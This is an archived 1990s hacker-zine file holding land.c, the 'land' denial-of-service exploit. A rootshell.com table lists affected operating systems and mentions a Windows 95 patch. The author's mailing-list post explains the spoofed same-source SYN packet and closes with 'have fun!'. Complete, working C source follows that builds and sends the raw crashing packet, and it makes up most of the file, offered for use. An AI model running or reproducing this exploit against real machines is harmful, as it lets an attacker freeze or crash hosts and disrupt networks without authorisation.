home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / land.c < prev    next >
C/C++ Source or Header  |  1999-04-17  |  6KB  |  187 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4. This test where againts the "land" attack. This is _NOT_ about "teardrop".
  5.  
  6. BSDI 2.1 (vanilla)                      IS  vulnerable
  7. BSDI 2.1 (K210-021,K210-022,K210-024)   NOT vulnerable
  8. BSDI 3.0                                NOT vulnerable
  9. Digital UNIX 4.0                        NOT vulnerable
  10. FreeBSD 2.2.2-RELEASE                   IS  vulnerable
  11. FreeBSD 2.2.5-RELEASE                   IS  vulnerable
  12. FreeBSD 2.2.5-STABLE                    IS  vulnerable
  13. FreeBSD 3.0-CURRENT                     IS  vulnerable
  14. HP-UX 10.20                             IS  vulnerable
  15. IRIX 6.2                                NOT vulnerable
  16. Linux 2.0.30                            NOT vulnerable
  17. Linux 2.0.32                            NOT vulnerable
  18. MacOS 8.0                               IS  vulnerable (TCP/IP stack crashed)
  19. NetBSD 1.2                              IS  vulnerable
  20. NeXTSTEP 3.0                            IS  vulnerable
  21. NeXTSTEp 3.1                            IS  vulnerable
  22. Novell 4.11                             NOT vulnerable
  23. OpenBSD 2.1                             IS  vulnerable
  24. OpenBSD 2.2 (Oct31)                     NOT vulnerable
  25. SCO OpenServer 5.0.4                    NOT vulnerable
  26. Solaris 2.5.1                           IS  vulnerable (conflicting reports)
  27. SunOS 4.1.4                             IS  vulnerable
  28. Windows 95 (vanilla)                    IS  vulnerable
  29. Windows 95 + Winsock 2 + VIPUPD.EXE     IS  vulnerable
  30.  
  31. Some misc stuff:
  32.  
  33. Ascend Pipeline 50 rev 5.0Ap13          NOT vulnerable
  34. NCD X Terminals, NCDWare v3.2.1         IS  vulnerable
  35. LaserJet Printer                        NOT vulnerable
  36.  
  37. We got reports that applying the VTCPUPD update (originally the OOB attack
  38. update) when applied to Windows 95 running Winsock 2 fixes the problem.
  39. You may want to try it. You can download Vtcpupd.exe you
  40.  
  41. http://support.microsoft.com/download/support/mslfiles/Vtcpupd.exe
  42.  
  43. Thanks to Gonzo Granzeau <bygranz@rs6000.cmp.ilstu.edu> for pointing
  44. out the Windows 95 possible fix. Thanks to everyone else (to many to
  45. mention).
  46.  
  47. Date:         Thu, 20 Nov 1997 19:40:19 -0500
  48. Reply-To:     m3lt <meltman@LAGGED.NET>
  49. Subject:      new TCP/IP bug in win95
  50.  
  51. hi,
  52.  
  53.         i recently discovered a bug which freezes win95 boxes.  here's how
  54. it works: send a spoofed packet with the SYN flag set from a host, on an open
  55. port (such as 113 or 139), setting as source the SAME host and port
  56. (ie: 10.0.0.1:139 to 10.0.0.1:139).  this will cause the win95 machine to lock
  57. up.
  58.  
  59.         the piece of code included in this message does that, so...  have fun!
  60.  
  61.         i haven't tested this bug on other platforms, i don't have the
  62. ressources.  please feel free to do so.
  63.  
  64. m3lt
  65. meltman@lagged.net
  66.  
  67. --- snip snip -----------------------------------------------------------
  68.  
  69. /* land.c by m3lt, FLC
  70.    crashes a win95 box */
  71.  
  72. #include <stdio.h>
  73. #include <netdb.h>
  74. #include <arpa/inet.h>
  75. #include <netinet/in.h>
  76. #include <sys/types.h>
  77. #include <sys/socket.h>
  78. #include <netinet/ip.h>
  79. #include <netinet/ip_tcp.h>
  80. #include <netinet/protocols.h>
  81.  
  82. struct pseudohdr
  83. {
  84.         struct in_addr saddr;
  85.         struct in_addr daddr;
  86.         u_char zero;
  87.         u_char protocol;
  88.         u_short length;
  89.         struct tcphdr tcpheader;
  90. };
  91.  
  92. u_short checksum(u_short * data,u_short length)
  93. {
  94.         register long value;
  95.         u_short i;
  96.  
  97.         for(i=0;i<(length>>1);i++)
  98.                 value+=data[i];
  99.  
  100.         if((length&1)==1)
  101.                 value+=(data[i]<<8);
  102.  
  103.         value=(value&65535)+(value>>16);
  104.  
  105.         return(~value);
  106. }
  107.  
  108. int main(int argc,char * * argv)
  109. {
  110.         struct sockaddr_in sin;
  111.         struct hostent * hoste;
  112.         int sock;
  113.         char buffer[40];
  114.         struct iphdr * ipheader=(struct iphdr *) buffer;
  115.         struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
  116.         struct pseudohdr pseudoheader;
  117.  
  118.         fprintf(stderr,"land.c by m3lt, FLC\n");
  119.  
  120.         if(argc<3)
  121.         {
  122.                 fprintf(stderr,"usage: %s IP port\n",argv[0]);
  123.                 return(-1);
  124.         }
  125.  
  126.         bzero(&sin,sizeof(struct sockaddr_in));
  127.         sin.sin_family=AF_INET;
  128.  
  129.         if((hoste=gethostbyname(argv[1]))!=NULL)
  130.                 bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
  131.         else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
  132.         {
  133.                 fprintf(stderr,"unknown host %s\n",argv[1]);
  134.                 return(-1);
  135.         }
  136.  
  137.         if((sin.sin_port=htons(atoi(argv[2])))==0)
  138.         {
  139.                 fprintf(stderr,"unknown port %s\n",argv[2]);
  140.                 return(-1);
  141.         }
  142.  
  143.         if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
  144.         {
  145.                 fprintf(stderr,"couldn't allocate raw socket\n");
  146.                 return(-1);
  147.         }
  148.  
  149.         bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
  150.         ipheader->version=4;
  151.         ipheader->ihl=sizeof(struct iphdr)/4;
  152.         ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
  153.         ipheader->id=htons(0xF1C);
  154.         ipheader->ttl=255;
  155.         ipheader->protocol=IP_TCP;
  156.         ipheader->saddr=sin.sin_addr.s_addr;
  157.         ipheader->daddr=sin.sin_addr.s_addr;
  158.  
  159.         tcpheader->th_sport=sin.sin_port;
  160.         tcpheader->th_dport=sin.sin_port;
  161.         tcpheader->th_seq=htonl(0xF1C);
  162.         tcpheader->th_flags=TH_SYN;
  163.         tcpheader->th_off=sizeof(struct tcphdr)/4;
  164.         tcpheader->th_win=htons(2048);
  165.  
  166.         bzero(&pseudoheader,12+sizeof(struct tcphdr));
  167.         pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
  168.         pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
  169.         pseudoheader.protocol=6;
  170.         pseudoheader.length=htons(sizeof(struct tcphdr));
  171.         bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
  172.         tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
  173.  
  174.         if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
  175.         {
  176.                 fprintf(stderr,"couldn't send packet\n");
  177.                 return(-1);
  178.         }
  179.  
  180.         fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
  181.  
  182.         close(sock);
  183.         return(0);
  184. }
  185.  
  186. --- snip snip -----------------------------------------------------------
  187.